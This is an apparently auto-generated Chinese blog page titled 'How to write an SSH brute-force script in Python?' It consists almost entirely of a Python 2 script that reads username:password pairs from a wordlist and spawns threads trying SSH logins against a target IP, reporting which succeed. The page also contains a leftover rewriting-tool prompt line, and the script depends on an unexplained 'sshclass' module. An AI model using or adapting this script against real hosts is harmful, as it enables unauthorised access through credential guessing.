如何用Python编写SSH暴力破解脚本？

本文共计313个文字，预计阅读时间需要2分钟。

请提供您想要修改的伪原创开头内容，我将根据您的要求进行简化改写。

#!/usr/bin/python
# -*- coding:utf-8 -*-
import sshclass
import sys
import threading
import time

reload(sys)
sys.setdefaultencoding('utf-8')

__metaclass__ = type


class Threadssh(threading.Thread):

def __init__(self, func, args):
threading.Thread.__init__(self)
self.func = func
self.args = args
self.res = None

def getResult(self):
print 'Get Result Check!'
return self.res


def run(self):
self.res = self.func(*self.args)


def connssh(ip, username, password, port='22'):
try:
ss = sshclass.SshclientConnect(ip, username, password,port)
ss.sshconnect()
print '[+]Connect ok with uname: %s pass: %s' % (username,password)
except:
print '[-]Connect failed with uname: %s pass: %s' % (username,password)


def usedirc(ip, username, password, port='22'):
threads = []
with open(r'/opt/dirc.txt', 'r') as file:
fileconent = file.readlines()
for i in fileconent:
userandpass = i.split(':')
username = userandpass[0].strip()
password = userandpass[1].strip()
t = Threadssh(connssh, (ip, username, password, port))
threads.append(t)
for x in range(len(threads)):
threads[x].start()
time.sleep(0.5)
for y in range(len(threads)):
threads[y].join()

def help():
print 'Usage:python ssh_burte_force.py ip username password port'

def main():
if len(sys.argv)< 5:
help()
else:
usedirc(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4])
if __name__=='__main__':
main()